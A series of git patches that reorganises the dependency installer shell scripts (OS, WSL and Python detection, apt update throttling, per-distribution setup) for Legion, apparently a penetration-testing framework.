--enable-optimizations --enable-ipv6 --with-ensurepip=install +sudo make altinstall diff --git a/deps/detectOs.sh b/deps/detectOs.sh new file mode 100644 index 00000000..dde983eb --- /dev/null +++ b/deps/detectOs.sh @@ -0,0 +1,47 @@ +#!/bin/bash + +unameOutput=`uname -a` +releaseOutput=`cat /etc/os-release` +releaseName="?" +releaseVersion="?" +wslEnv="" + +# Detect WSL and enable XForwaridng to Xming +if [[ ${unameOutput} == *"Microsoft"* ]] +then + export DISPLAY=localhost:0.0 + wslEnv="WSL" +fi + +# Figure Linux Version +if [[ ${releaseOutput} == *"Ubuntu"* ]] +then + releaseName="Ubuntu" + if [[ ${releaseOutput} == *"16."* ]] + then + releaseVersion="16" + elif [[ ${releaseOutput} == *"18."* ]] + then + releaseVersion="18" + fi +elif [[ ${releaseOutput} == *"Kali"* ]] +then + releaseName="Kali" + if [[ ${releaseOutput} == *"2018"* ]] + then + releaseVersion="2018" + elif [[ ${releaseOutput} == *"2016."* ]] + then + releaseVersion="2016" + fi +else + releaseName="something unsupported" +fi + +echo "Detected ${releaseName} ${releaseVersion} ${wslEnv}" +depInstaller="${releaseName}-${releaseVersion}${wslEnv}.sh" + +export DEPINSTALLER=${depInstaller} +export OS_RELEASE=${releaseName} +export OS_RELEASE_VERSION=${releaseVersion} +export ISWSL=${wslEnv} diff --git a/deps/detectPython.sh b/deps/detectPython.sh new file mode 100644 index 00000000..cc4dd8c9 --- /dev/null +++ b/deps/detectPython.sh @@ -0,0 +1,36 @@ +#!/bin/bash + +testForPython=`python --version 2>&1` +testForPython2=`python3 --version 2>&1` +testForPython3=`python3.6 --version 2>&1` + +if [[ $testForPython == *"3.6"* ]]; then + pythonBin='python' +elif [[ $testForPython2 == *"3.6"* ]]; then + pythonBin='python3' +elif [[ $testForPython3 == *"3.6"* ]]; then + pythonBin='python3.6' +else + pythonBin='Missing' +fi + +#echo "Python 3.6 bin is ${pythonBin} ($(which ${pythonBin}))" + +testForPip=`pip --version 2>&1` +testForPip2=`pip3 --version 2>&1` +testForPip3=`pip3.6 --version 2>&1` + +if [[ $testForPip == *"3.6"* ]]; then + pipBin='pip' +elif [[ $testForPip2 == *"3.6"* ]]; then + pipBin='pip3' +elif [[ $testForPip3 == *"3.6"* ]]; then + pipBin='pip3.6' +else + pipBin='Missing' +fi + +#echo "Pip 3.6 bin is ${pipBin} ($(which ${pipBin}))" + +export PYTHON3BIN=$(which ${pythonBin}) +export PIP3BIN=$(which ${pipBin}) diff --git a/deps/install.sh b/deps/install.sh deleted file mode 100644 index 235da8f6..00000000 --- a/deps/install.sh +++ /dev/null @@ -1,7 +0,0 @@ -#!/bin/bash -cp *.sh /tmp -cd /tmp -chmod a+x *.sh -./installDeps.sh -./installPython36.sh -./installPythonLibs.sh diff --git a/deps/installDeps.sh b/deps/installDeps.sh index 84a1a224..ee4a5a85 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -1,6 +1,5 @@ #!/bin/bash + # Install deps -echo "Updating Apt database..." -sudo apt-get update -sudo apt-get install -yqq build-essential libreadline-gplv2-dev libncursesw5-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev libffi-dev python3-dev libssl1.0-dev libjpeg62-turbo-dev libxml2-dev libxslt1-dev python-dev libnetfilter-queue-dev qt4-qmake libqt4-dev libsqlite3-dev zlib1g-dev -sudo apt-get install -yqq python-netlib +echo "Installing deps..." +sudo apt-get install -yqq python3 python3-pip python-netlib 2>&1 > /dev/null diff --git a/deps/installPython36.sh b/deps/installPython36.sh index e3435206..0b2e82db 100644 --- a/deps/installPython36.sh +++ b/deps/installPython36.sh @@ -1,9 +1,37 @@ #!/bin/bash -cd /tmp - -# Setup Python3.6 -wget https://www.python.org/ftp/python/3.6.6/Python-3.6.6.tgz -tar xzf Python-3.6.6.tgz -cd Python-3.6.6/ -./configure --enable-optimizations --enable-ipv6 --with-ensurepip=install -sudo make altinstall + +source ./detectPython.sh + +if [[ ${PYTHON3BIN} == "Missing" ]] +then + echo "Installing python3.6 from APT..." + echo "Updating Apt database..." + sudo apt-get update -yqq 2>&1 > /dev/null + echo "Install Python3.6 and Pip3.6 from APT..." + sudo apt-get install -yqq python3 python3-pip python-netlib 2>&1 > /dev/null +else + echo "Python3.6 found!" + exit 0 +fi + +source ./detectPython.sh + +if [[ ${PYTHON3BIN} == "Missing" ]] +then + echo "Installing python3.6 from source..." + sudo ./buildPython36.sh +else + echo "Python3.6 found!" + exit 0 +fi + +source ./detectPython.sh + +if [[ ${PYTHON3BIN} == "Missing" ]] +then + echo "Everything went wrong trying to get python3.6 setup. Please do this manually." + exit 1 +else + echo "Python3.6 found!" + exit 0 +fi diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index 686f4ba8..28bd48f9 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -1,17 +1,8 @@ #!/bin/bash -# Setup Python deps - -testForPip=`pip --version` -testForPip2=`pip3 --version` -if [[ $testForPip == *"3.6"* ]]; then - pipBin='pip' -elif [[ $testForPip2 == *"3.6"* ]]; then - pipBin='pip3' -else - pipBin='pip3.6' -fi +source ./detectPython.sh -$pipBin install -r requirements.txt -$pipBin install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash -$pipBin install service_identity --upgrade +# Setup Python deps +${PIP3BIN} install -r requirements.txt +${PIP3BIN} install sqlalchemy pyqt5 asyncio aiohttp aioredis aiomonitor apscheduler Quamash +${PIP3BIN} install service_identity --upgrade diff --git a/deps/ubuntu-wsl.sh b/deps/setupWsl.sh similarity index 94% rename from deps/ubuntu-wsl.sh rename to deps/setupWsl.sh index 505a98fa..3dabfa48 100644 --- a/deps/ubuntu-wsl.sh +++ b/deps/setupWsl.sh @@ -1,8 +1,6 @@ #!/bin/bash -./deps/ubuntu.sh # Setup linked Windows NMAP - if [ ! -f "/sbin/nmap" ] then echo "Installing Link to Windows NMAP..." diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh deleted file mode 100644 index 04012510..00000000 --- a/deps/ubuntu.sh +++ /dev/null @@ -1,17 +0,0 @@ -#!/bin/bash -cp *.sh /tmp -cd /tmp -chmod a+x *.sh -./installDeps.sh -test=`python3.6 --version` - -if [[ $test != "Python 3.6.6" ]] -then - echo "Installing python3.6.6..." - ./installPython36.sh -fi -./installPythonLibs.sh -echo "Installing external binaryies and application dependancies..." -apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y -echo "Installing Python Libraries..." -./installPythonLibs.sh diff --git a/requirements.txt b/requirements.txt index a59ba5c2..661e5cb0 100644 --- a/requirements.txt +++ b/requirements.txt @@ -6,6 +6,5 @@ SQLAlchemy==1.3.0b1 aiomonitor==0.3.1 APScheduler==3.5.3 PyQt5==5.11.3 -ntpath==1534770254.427198 sanic==0.8.3 sanic_swagger==0.0.4 diff --git a/startLegion.sh b/startLegion.sh index ef7c6f00..aa214dfa 100644 --- a/startLegion.sh +++ b/startLegion.sh @@ -1,56 +1,23 @@ #!/bin/bash -unameOutput=`uname -a` +# Determine and set the Python and Pip paths +source ./deps/detectPython.sh -# Detect WSL and enable XForwaridng to Xming -if [[ $unameOutput == *"Microsoft"* ]] -then - export DISPLAY=localhost:0.0 -fi +# Determine OS, version and if WSL +source ./deps/detectOs.sh +# Figure if fist run or recloned and install deps if [ ! -f ".initialized" ] | [ -f ".justcloned" ] then - releaseOutput=`cat /etc/*release*` # | grep -i 'ubuntu' | wc -l echo "First run here (or you did a pull to update). Let's try to automatically install all the dependancies..." if [ ! -d "tmp" ] then mkdir tmp fi - if [[ $unameOutput == *"Microsoft"* ]] - then - echo "Detected WSL (Windows Subsystem for Linux)" - if [[ $releaseOutput == *"Ubuntu"* ]] - then - echo "Detected Ubuntu on WSL" - ./deps/ubuntu-wsl.sh - touch .initialized - rm .justcloned -f - else - echo "Not Ubuntu. Install deps manually for now" - touch .initialized - rm .justcloned -f - exit 0 - fi - else - echo "Detected Linux" - if [[ $releaseOutput == *"Ubuntu"* ]] - then - echo "Detected Ubuntu" - ./deps/ubuntu.sh - touch .initialized - rm .justcloned -f - elif [[ $releaseOutput == *"Parrot"* ]] - then - ./deps/ubuntu.sh - touch .initialized - rm .justcloned -f - else - echo "Not Ubuntu. Install deps manually for now" - touch .initialized - rm .justcloned -f - exit 0 - fi - fi + echo "Running ${DEPINSTALLER}..." + bash ./deps/${DEPINSTALLER} + touch .initialized + rm .justcloned -f fi -python3.6 legion.py +${PYTHON3BIN} legion.py diff --git a/test.sh b/test.sh new file mode 100644 index 00000000..b91ae1b2 --- /dev/null +++ b/test.sh @@ -0,0 +1,42 @@ +#!/bin/bash + +unameOutput=`uname -a` +releaseOutput=`cat /etc/os-release` +releaseName="?" +releaseVersion="?" +wslEnv="" + +# Detect WSL and enable XForwaridng to Xming +if [[ $unameOutput == *"Microsoft"* ]] +then + export DISPLAY=localhost:0.0 + wslEnv="on WSL" +fi + +if [ ! -f ".initialized" ] | [ -f ".justcloned" ] +then + if [[ $releaseOutput == *"Ubuntu"* ]] + then + releaseName="Ubuntu" + if [[ $releaseOutput == *"16."* ]] + then + releaseVersion="16" + elif [[ $releaseOutput == *"18."* ]] + then + releaseVersion="18" + fi + elif [[ $releaseOutput == *"Kali"* ]] + then + releaseName="Kali" + if [[ $releaseOutput == *"2018"* ]] + then + releaseVersion="2018" + elif [[ $releaseOutput == *"2016."* ]] + then + releaseVersion="2016" + fi + else + releaseName="something unsupported" + fi + echo "Detected ${releaseName} ${releaseVersion} ${wslEnv}" +fi From 2eeb60be690a0b18d8c19f1dfbd8c43507ae7c01 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 14:48:07 -0600 Subject: [PATCH 082/450] Dep installer fixes --- deps/Ubuntu-16.sh | 6 +++--- deps/Ubuntu-16WSL.sh | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/deps/Ubuntu-16.sh b/deps/Ubuntu-16.sh index 92e08271..825da581 100644 --- a/deps/Ubuntu-16.sh +++ b/deps/Ubuntu-16.sh @@ -1,9 +1,9 @@ #!/bin/bash -source ./detectPython.sh +source ./deps/detectPython.sh -cp *.sh /tmp -cp ../requirements.txt /tmp -f +cp ./deps/*.sh /tmp +cp ./requirements.txt /tmp -f cd /tmp chmod a+x *.sh diff --git a/deps/Ubuntu-16WSL.sh b/deps/Ubuntu-16WSL.sh index 075f4452..3528ab97 100644 --- a/deps/Ubuntu-16WSL.sh +++ b/deps/Ubuntu-16WSL.sh @@ -1,9 +1,9 @@ #!/bin/bash -source ./detectPython.sh +source ./deps/detectPython.sh -cp *.sh /tmp -cp ../requirements.txt /tmp -f +cp ./deps/*.sh /tmp +cp ./requirements.txt /tmp -f cd /tmp chmod a+x *.sh From f4f7112e60d8f9d1516303834cbdd639a2576e7c Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 14:54:44 -0600 Subject: [PATCH 083/450] Dep installer updates --- deps/Ubuntu-18.sh | 6 +++--- deps/Ubuntu-18WSL.sh | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/deps/Ubuntu-18.sh b/deps/Ubuntu-18.sh index 92e08271..825da581 100644 --- a/deps/Ubuntu-18.sh +++ b/deps/Ubuntu-18.sh @@ -1,9 +1,9 @@ #!/bin/bash -source ./detectPython.sh +source ./deps/detectPython.sh -cp *.sh /tmp -cp ../requirements.txt /tmp -f +cp ./deps/*.sh /tmp +cp ./requirements.txt /tmp -f cd /tmp chmod a+x *.sh diff --git a/deps/Ubuntu-18WSL.sh b/deps/Ubuntu-18WSL.sh index 075f4452..3528ab97 100644 --- a/deps/Ubuntu-18WSL.sh +++ b/deps/Ubuntu-18WSL.sh @@ -1,9 +1,9 @@ #!/bin/bash -source ./detectPython.sh +source ./deps/detectPython.sh -cp *.sh /tmp -cp ../requirements.txt /tmp -f +cp ./deps/*.sh /tmp +cp ./requirements.txt /tmp -f cd /tmp chmod a+x *.sh From 7b3b7c04eae069a96f6e93e4e8db8464e250bf3e Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 15:04:18 -0600 Subject: [PATCH 084/450] Dep installers updated to detect if apt update needed --- deps/apt.sh | 56 +++++++++++++++++++++++++++++++++++++++++++++ deps/installDeps.sh | 7 +++++- 2 files changed, 62 insertions(+), 1 deletion(-) create mode 100644 deps/apt.sh diff --git a/deps/apt.sh b/deps/apt.sh new file mode 100644 index 00000000..b5b8e55d --- /dev/null +++ b/deps/apt.sh @@ -0,0 +1,56 @@ +function trimString() +{ + local -r string="${1}" + + sed -e 's/^ *//g' -e 's/ *$//g' <<< "${string}" +} + +function isEmptyString() +{ + local -r string="${1}" + + if [[ "$(trimString "${string}")" = '' ]] + then + echo 'true' + else + echo 'false' + fi +} + +function info() +{ + local -r message="${1}" + + echo -e "\033[1;36m${message}\033[0m" 2>&1 +} + +function getLastAptGetUpdate() +{ + local aptDate="$(stat -c %Y '/var/cache/apt')" + local nowDate="$(date +'%s')" + + echo $((nowDate - aptDate)) +} + +function runAptGetUpdate() +{ + local updateInterval="${1}" + + local lastAptGetUpdate="$(getLastAptGetUpdate)" + + if [[ "$(isEmptyString "${updateInterval}")" = 'true' ]] + then + # Default To 24 hours + updateInterval="$((24 * 60 * 60))" + fi + + if [[ "${lastAptGetUpdate}" -gt "${updateInterval}" ]] + then + info "apt-get update" + apt-get update -m + else + local lastUpdate="$(date -u -d @"${lastAptGetUpdate}" +'%-Hh %-Mm %-Ss')" + + info "\nSkip apt-get update because its last run was '${lastUpdate}' ago" + fi +} diff --git a/deps/installDeps.sh b/deps/installDeps.sh index ee4a5a85..e7d000d2 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -1,5 +1,10 @@ #!/bin/bash +source ./deps/apt.sh + # Install deps +echo "Checking Apt..." +runAptGetUpdate + echo "Installing deps..." -sudo apt-get install -yqq python3 python3-pip python-netlib 2>&1 > /dev/null +sudo apt-get install -yqq python-netlib 2>&1 > /dev/null From 075542bd1dae52ca66704777e7273c3de7d6e3c8 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 15:08:06 -0600 Subject: [PATCH 085/450] Dep installers updated to detect if apt update needed --- deps/installDeps.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/deps/installDeps.sh b/deps/installDeps.sh index e7d000d2..bd8e255c 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -1,6 +1,6 @@ #!/bin/bash -source ./deps/apt.sh +source ./apt.sh # Install deps echo "Checking Apt..." From a19a7785fa29001e9564927d4566790f859e4171 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 15:10:41 -0600 Subject: [PATCH 086/450] Dep installers updated to detect if apt update needed --- deps/installPython36.sh | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/deps/installPython36.sh b/deps/installPython36.sh index 0b2e82db..c95d06e9 100644 --- a/deps/installPython36.sh +++ b/deps/installPython36.sh @@ -2,7 +2,7 @@ source ./detectPython.sh -if [[ ${PYTHON3BIN} == "Missing" ]] +if [[ ${PYTHON3BIN} == "Missing" | ${PIP3BIN} == "Missing" ]] then echo "Installing python3.6 from APT..." echo "Updating Apt database..." @@ -11,27 +11,35 @@ then sudo apt-get install -yqq python3 python3-pip python-netlib 2>&1 > /dev/null else echo "Python3.6 found!" + echo "Python 3.6: ${PYTHON3BIN}" + echo "PIP 3.6: ${PIP3BIN}" exit 0 fi source ./detectPython.sh -if [[ ${PYTHON3BIN} == "Missing" ]] +if [[ ${PYTHON3BIN} == "Missing" | ${PIP3BIN} == "Missing" ]] then echo "Installing python3.6 from source..." sudo ./buildPython36.sh else echo "Python3.6 found!" + echo "Python 3.6: ${PYTHON3BIN}" + echo "PIP 3.6: ${PIP3BIN}" exit 0 fi source ./detectPython.sh -if [[ ${PYTHON3BIN} == "Missing" ]] +if [[ ${PYTHON3BIN} == "Missing" | ${PIP3BIN} == "Missing" ]] then echo "Everything went wrong trying to get python3.6 setup. Please do this manually." + echo "Python 3.6: ${PYTHON3BIN}" + echo "PIP 3.6: ${PIP3BIN}" exit 1 else echo "Python3.6 found!" + echo "Python 3.6: ${PYTHON3BIN}" + echo "PIP 3.6: ${PIP3BIN}" exit 0 fi From 56468cbebbf2d9fa22c6088082d0f3aa6cc0ce6e Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 15:12:05 -0600 Subject: [PATCH 087/450] Dep installers updated to detect if apt update needed --- deps/Kali-2018.sh | 6 +++--- deps/Kali-2018WSL.sh | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/deps/Kali-2018.sh b/deps/Kali-2018.sh index 92e08271..825da581 100644 --- a/deps/Kali-2018.sh +++ b/deps/Kali-2018.sh @@ -1,9 +1,9 @@ #!/bin/bash -source ./detectPython.sh +source ./deps/detectPython.sh -cp *.sh /tmp -cp ../requirements.txt /tmp -f +cp ./deps/*.sh /tmp +cp ./requirements.txt /tmp -f cd /tmp chmod a+x *.sh diff --git a/deps/Kali-2018WSL.sh b/deps/Kali-2018WSL.sh index 075f4452..3528ab97 100644 --- a/deps/Kali-2018WSL.sh +++ b/deps/Kali-2018WSL.sh @@ -1,9 +1,9 @@ #!/bin/bash -source ./detectPython.sh +source ./deps/detectPython.sh -cp *.sh /tmp -cp ../requirements.txt /tmp -f +cp ./deps/*.sh /tmp +cp ./requirements.txt /tmp -f cd /tmp chmod a+x *.sh From c7a873f535ed6426f7d28a06fe395b019f073efa Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Thu, 17 Jan 2019 15:19:45 -0600 Subject: [PATCH 088/450] Dep installers updated to detect if apt update needed --- deps/installPython36.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/deps/installPython36.sh b/deps/installPython36.sh index c95d06e9..bf264f02 100644 --- a/deps/installPython36.sh +++ b/deps/installPython36.sh @@ -2,7 +2,7 @@ source ./detectPython.sh -if [[ ${PYTHON3BIN} == "Missing" | ${PIP3BIN} == "Missing" ]] +if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] then echo "Installing python3.6 from APT..." echo "Updating Apt database..." @@ -18,7 +18,7 @@ fi source ./detectPython.sh -if [[ ${PYTHON3BIN} == "Missing" | ${PIP3BIN} == "Missing" ]] +if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] then echo "Installing python3.6 from source..." sudo ./buildPython36.sh @@ -31,7 +31,7 @@ fi source ./detectPython.sh -if [[ ${PYTHON3BIN} == "Missing" | ${PIP3BIN} == "Missing" ]] +if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] then echo "Everything went wrong trying to get python3.6 setup. Please do this manually." echo "Python 3.6: ${PYTHON3BIN}" From 283f5e61aa32a60f8087ab96d34cecfb2a5a7534 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 18 Jan 2019 04:15:16 -0600 Subject: [PATCH 089/450] Updated dep installers --- .justcloned | 0 deps/Kali-2018.sh | 14 +++++++------- deps/Kali-2018WSL.sh | 16 ++++++++-------- deps/Ubuntu-16.sh | 14 +++++++------- deps/Ubuntu-16WSL.sh | 16 ++++++++-------- deps/Ubuntu-18.sh | 14 +++++++------- deps/Ubuntu-18WSL.sh | 16 ++++++++-------- deps/installDeps.sh | 2 +- deps/installPython36.sh | 8 ++++---- deps/installPythonLibs.sh | 2 +- 10 files changed, 51 insertions(+), 51 deletions(-) delete mode 100644 .justcloned diff --git a/.justcloned b/.justcloned deleted file mode 100644 index e69de29b..00000000 diff --git a/deps/Kali-2018.sh b/deps/Kali-2018.sh index 825da581..3846556d 100644 --- a/deps/Kali-2018.sh +++ b/deps/Kali-2018.sh @@ -2,16 +2,16 @@ source ./deps/detectPython.sh -cp ./deps/*.sh /tmp -cp ./requirements.txt /tmp -f -cd /tmp -chmod a+x *.sh +#cp ./deps/*.sh /tmp +#cp ./requirements.txt /tmp -f +#cd /tmp +chmod a+x ./deps/*.sh -./installDeps.sh -./installPython36.sh +./deps/installDeps.sh +./deps/installPython36.sh echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y echo "Installing Python Libraries..." -./installPythonLibs.sh +./deps/installPythonLibs.sh diff --git a/deps/Kali-2018WSL.sh b/deps/Kali-2018WSL.sh index 3528ab97..53a6f56a 100644 --- a/deps/Kali-2018WSL.sh +++ b/deps/Kali-2018WSL.sh @@ -2,19 +2,19 @@ source ./deps/detectPython.sh -cp ./deps/*.sh /tmp -cp ./requirements.txt /tmp -f -cd /tmp -chmod a+x *.sh +#cp ./deps/*.sh /tmp +#cp ./requirements.txt /tmp -f +#cd /tmp +chmod a+x ./deps/*.sh -./installDeps.sh -./installPython36.sh +./deps/installDeps.sh +./deps/installPython36.sh echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y echo "Installing Python Libraries..." -./installPythonLibs.sh +./deps/installPythonLibs.sh echo "WSL Setup..." -./setupWsl.sh +./deps/setupWsl.sh diff --git a/deps/Ubuntu-16.sh b/deps/Ubuntu-16.sh index 825da581..3846556d 100644 --- a/deps/Ubuntu-16.sh +++ b/deps/Ubuntu-16.sh @@ -2,16 +2,16 @@ source ./deps/detectPython.sh -cp ./deps/*.sh /tmp -cp ./requirements.txt /tmp -f -cd /tmp -chmod a+x *.sh +#cp ./deps/*.sh /tmp +#cp ./requirements.txt /tmp -f +#cd /tmp +chmod a+x ./deps/*.sh -./installDeps.sh -./installPython36.sh +./deps/installDeps.sh +./deps/installPython36.sh echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y echo "Installing Python Libraries..." -./installPythonLibs.sh +./deps/installPythonLibs.sh diff --git a/deps/Ubuntu-16WSL.sh b/deps/Ubuntu-16WSL.sh index 3528ab97..53a6f56a 100644 --- a/deps/Ubuntu-16WSL.sh +++ b/deps/Ubuntu-16WSL.sh @@ -2,19 +2,19 @@ source ./deps/detectPython.sh -cp ./deps/*.sh /tmp -cp ./requirements.txt /tmp -f -cd /tmp -chmod a+x *.sh +#cp ./deps/*.sh /tmp +#cp ./requirements.txt /tmp -f +#cd /tmp +chmod a+x ./deps/*.sh -./installDeps.sh -./installPython36.sh +./deps/installDeps.sh +./deps/installPython36.sh echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y echo "Installing Python Libraries..." -./installPythonLibs.sh +./deps/installPythonLibs.sh echo "WSL Setup..." -./setupWsl.sh +./deps/setupWsl.sh diff --git a/deps/Ubuntu-18.sh b/deps/Ubuntu-18.sh index 825da581..3846556d 100644 --- a/deps/Ubuntu-18.sh +++ b/deps/Ubuntu-18.sh @@ -2,16 +2,16 @@ source ./deps/detectPython.sh -cp ./deps/*.sh /tmp -cp ./requirements.txt /tmp -f -cd /tmp -chmod a+x *.sh +#cp ./deps/*.sh /tmp +#cp ./requirements.txt /tmp -f +#cd /tmp +chmod a+x ./deps/*.sh -./installDeps.sh -./installPython36.sh +./deps/installDeps.sh +./deps/installPython36.sh echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y echo "Installing Python Libraries..." -./installPythonLibs.sh +./deps/installPythonLibs.sh diff --git a/deps/Ubuntu-18WSL.sh b/deps/Ubuntu-18WSL.sh index 3528ab97..53a6f56a 100644 --- a/deps/Ubuntu-18WSL.sh +++ b/deps/Ubuntu-18WSL.sh @@ -2,19 +2,19 @@ source ./deps/detectPython.sh -cp ./deps/*.sh /tmp -cp ./requirements.txt /tmp -f -cd /tmp -chmod a+x *.sh +#cp ./deps/*.sh /tmp +#cp ./requirements.txt /tmp -f +#cd /tmp +chmod a+x ./deps/*.sh -./installDeps.sh -./installPython36.sh +./deps/installDeps.sh +./deps/installPython36.sh echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y echo "Installing Python Libraries..." -./installPythonLibs.sh +./deps/installPythonLibs.sh echo "WSL Setup..." -./setupWsl.sh +./deps/setupWsl.sh diff --git a/deps/installDeps.sh b/deps/installDeps.sh index bd8e255c..e7d000d2 100644 --- a/deps/installDeps.sh +++ b/deps/installDeps.sh @@ -1,6 +1,6 @@ #!/bin/bash -source ./apt.sh +source ./deps/apt.sh # Install deps echo "Checking Apt..." diff --git a/deps/installPython36.sh b/deps/installPython36.sh index bf264f02..9d69625f 100644 --- a/deps/installPython36.sh +++ b/deps/installPython36.sh @@ -1,6 +1,6 @@ #!/bin/bash -source ./detectPython.sh +source ./deps/detectPython.sh if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] then @@ -16,12 +16,12 @@ else exit 0 fi -source ./detectPython.sh +source ./deps/detectPython.sh if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] then echo "Installing python3.6 from source..." - sudo ./buildPython36.sh + sudo ./deps/buildPython36.sh else echo "Python3.6 found!" echo "Python 3.6: ${PYTHON3BIN}" @@ -29,7 +29,7 @@ else exit 0 fi -source ./detectPython.sh +source ./deps/detectPython.sh if [[ ${PYTHON3BIN} == "Missing" ]] | [[ ${PIP3BIN} == "Missing" ]] then diff --git a/deps/installPythonLibs.sh b/deps/installPythonLibs.sh index 28bd48f9..913c4bd5 100644 --- a/deps/installPythonLibs.sh +++ b/deps/installPythonLibs.sh @@ -1,6 +1,6 @@ #!/bin/bash -source ./detectPython.sh +source ./deps/detectPython.sh # Setup Python deps ${PIP3BIN} install -r requirements.txt From 7d26074b6940b291f00d712e8601bff310a7d71d Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Fri, 18 Jan 2019 04:31:02 -0600 Subject: [PATCH 090/450] Updated dep installers --- .justcloned | 0 deps/Kali-2018.sh | 7 ++----- deps/Kali-2018WSL.sh | 7 ++----- deps/Ubuntu-16.sh | 7 ++----- deps/Ubuntu-16WSL.sh | 7 ++----- deps/Ubuntu-18.sh | 7 ++----- deps/Ubuntu-18WSL.sh | 7 ++----- deps/detectPython.sh | 4 ++-- deps/installPython36.sh | 13 +++++++------ 9 files changed, 21 insertions(+), 38 deletions(-) create mode 100644 .justcloned diff --git a/.justcloned b/.justcloned new file mode 100644 index 00000000..e69de29b diff --git a/deps/Kali-2018.sh b/deps/Kali-2018.sh index 3846556d..cb2af1c4 100644 --- a/deps/Kali-2018.sh +++ b/deps/Kali-2018.sh @@ -1,15 +1,12 @@ #!/bin/bash -source ./deps/detectPython.sh - -#cp ./deps/*.sh /tmp -#cp ./requirements.txt /tmp -f -#cd /tmp chmod a+x ./deps/*.sh ./deps/installDeps.sh ./deps/installPython36.sh +source ./deps/detectPython.sh + echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y diff --git a/deps/Kali-2018WSL.sh b/deps/Kali-2018WSL.sh index 53a6f56a..0960635e 100644 --- a/deps/Kali-2018WSL.sh +++ b/deps/Kali-2018WSL.sh @@ -1,15 +1,12 @@ #!/bin/bash -source ./deps/detectPython.sh - -#cp ./deps/*.sh /tmp -#cp ./requirements.txt /tmp -f -#cd /tmp chmod a+x ./deps/*.sh ./deps/installDeps.sh ./deps/installPython36.sh +source ./deps/detectPython.sh + echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y diff --git a/deps/Ubuntu-16.sh b/deps/Ubuntu-16.sh index 3846556d..cb2af1c4 100644 --- a/deps/Ubuntu-16.sh +++ b/deps/Ubuntu-16.sh @@ -1,15 +1,12 @@ #!/bin/bash -source ./deps/detectPython.sh - -#cp ./deps/*.sh /tmp -#cp ./requirements.txt /tmp -f -#cd /tmp chmod a+x ./deps/*.sh ./deps/installDeps.sh ./deps/installPython36.sh +source ./deps/detectPython.sh + echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad xvfb -y diff --git a/deps/Ubuntu-16WSL.sh b/deps/Ubuntu-16WSL.sh index 53a6f56a..0960635e 100644 --- a/deps/Ubuntu-16WSL.sh +++ b/deps/Ubuntu-16WSL.sh @@ -1,15 +1,12 @@ #!/bin/bash -source ./deps/detectPython.sh - -#cp ./deps/*.sh /tmp -#cp ./requirements.txt /tmp -f -#cd /tmp chmod a+x ./deps/*.sh ./deps/installDeps.sh ./deps/installPython36.sh +source ./deps/detectPython.sh + echo "Installing external binaryies and application dependancies..." apt-get -yqqq install finger hydra nikto whatweb 